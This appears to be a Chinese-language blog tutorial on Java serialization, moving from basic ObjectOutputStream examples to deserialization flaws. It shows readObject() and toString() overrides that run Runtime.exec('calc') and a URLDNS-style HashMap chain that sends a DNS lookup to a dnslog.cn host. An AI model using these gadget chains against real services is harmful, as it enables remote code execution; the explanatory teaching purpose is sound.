概念
Java序列化是一种将对象转化为字节流的过程,以便可以保存到磁盘上,将其传输到网络上等。
反序列化则是将字节流转化为对象的过程,将存储在内存的字节流转化为对象。
作用
序列化和反序列化的作用是传输数据,当两个进程进行通信时,可以通过序列化和反序列化进行传输。这种技术能够实现数据的持久化,通过序列化可以将数据永久保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
使用场景
将对象保存在文件或数据库当中
使用套接字在网络上传输对象
通过RMI传输对象
序列化和反序列化方法
writeObject()/readObject()
XMLDecoder/XMLEncoder
XStream
ShakeYaml
FastJson
Jackson
反序列化产生安全问题的原因
反序列化调用重写的
readObject()
方法输出对象时调用
toString()
方法
当方法中带有一些可控的类,这些类中存在危险方法就会导致反序列化中产生安全问题。
方法
原生序列化writeObject()和readObject()
首先构造一个类,需要实现 Serializable
接口,类当中包含构造方法和 toString()
方法。
import java.io.Serializable;
public class User implements Serializable {
public String name;
public Integer age;
public String gender;
public User(){}
public User(String name, Integer age, String gender){
this.name = name;
this.age = age;
this.gender = gender;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", gender='" + gender + '\'' +
'}';
}
}
import java.io.*;
public class SerializableDemo{
public static void main(String []args) throws IOException, ClassNotFoundException {
User u = new User("ZhangSan", 25, "Male");
System.out.println(u);
SerializeTest(u);
//第一次创建对象输出:User{name='ZhangSan', age=25, gender='Male'}
Object obj = UnSerializeTest("user.txt");
System.out.println(obj);
//第二次读取字节流进行反序列化生成对象输出:User{name='ZhangSan', age=25, gender='Male'}
}
//序列化
public static void SerializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.txt"));
oos.writeObject(obj);
//对象转为字节流保存至 user.txt
}
//反序列化
public static Object UnSerializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
//读取字节流反序列化为对象并返回
}
}
HashMap类
K表示键(key),V表示值(value)
安全问题实例(利用链)
原生反序列化
readObject()
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class User implements Serializable {
public String name;
public Integer age;
public String gender;
public User(){}
public User(String name, Integer age, String gender){
this.name = name;
this.age = age;
this.gender = gender;
}
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", gender='" + gender + '\'' +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确defaultReadObject
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
import java.io.*;
public class SerializableDemo{
public static void main(String []args) throws IOException, ClassNotFoundException {
User u = new User("ZhangSan", 25, "Male");
SerializeTest(u);
UnSerializeTest("user.txt");
}
//序列化
public static void SerializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.txt"));
oos.writeObject(obj);
}
//反序列化
public static Object UnSerializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
首先创建一个 User
类对象,由于 readObject()
是类当中的一个方法,也会被序列化为字节流;然后再对字节流进行反序列化,但由于反序列化的对象中包含重写的 readObject()
方法,导致第21行的 return ois.readObject();
调用的是 User
类对象中的 readObject()
方法,执行了“恶意代码 Runtime.getRuntime().exec("calc");
”才产生了可控类的安全问题。
注:正常情况下,第21行的 return ois.readObject();
调用的是 java.io.ObjectInputStream
包中的 readObject()
方法。
toString()
import java.io.*;
public class SerializableDemo{
public static void main(String []args) throws IOException, ClassNotFoundException {
User u = new User("ZhangSan", 25, "Male");
System.out.println(u);
}
}
将一个对象以字符串类型调用的时候,会触发 toString()
方法,这里在创建好对象,将其输出(以字符串类型调用),触发了 toString()
方法,同时也执行了 Runtime.getRuntime().exec("calc");
。
HashMap
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class UrlDns implements Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL, Integer> hash = new HashMap<>();
URL u = new URL("http://dns.osm5nr.dnslog.cn");
hash.put(u,1);
SerializeTest(hash);
UnSerializeTest("dns.txt");
}
public static void SerializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);
}
public static Object UnSerializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
执行后,在 DNSlog 中存在记录
如果是执行命令的话,则构成 RCE 漏洞。
相关方法如下(仅保留关键部分)
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
//----------put()----------
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
//----------readObject()----------
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
/******/
for (int i = 0; i < mappings; i++) {
/******/
putVal(hash(key), key, value, false, false);
}
/******/
}
//----------putVal()----------
final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) { }
//----------hash()----------
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
//----------hashCode()----------
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
}
这里的 hashCode()
方法会触发DNS解析。
而在实例代码中的执行链有两个:
put() -> putVal() -> hash() -> hashCode()
readObject() -> putVal() -> hash() -> hashCode()
四者关系为:在 put()/readObject()
中包含 putVal()
,同时传入的参数均为 key(url)
调用了 hash()
,hash()
中调用 hashCode()
,触发了DNS解析。
如果请求的是执行命令,则会导致RCE漏洞
参与讨论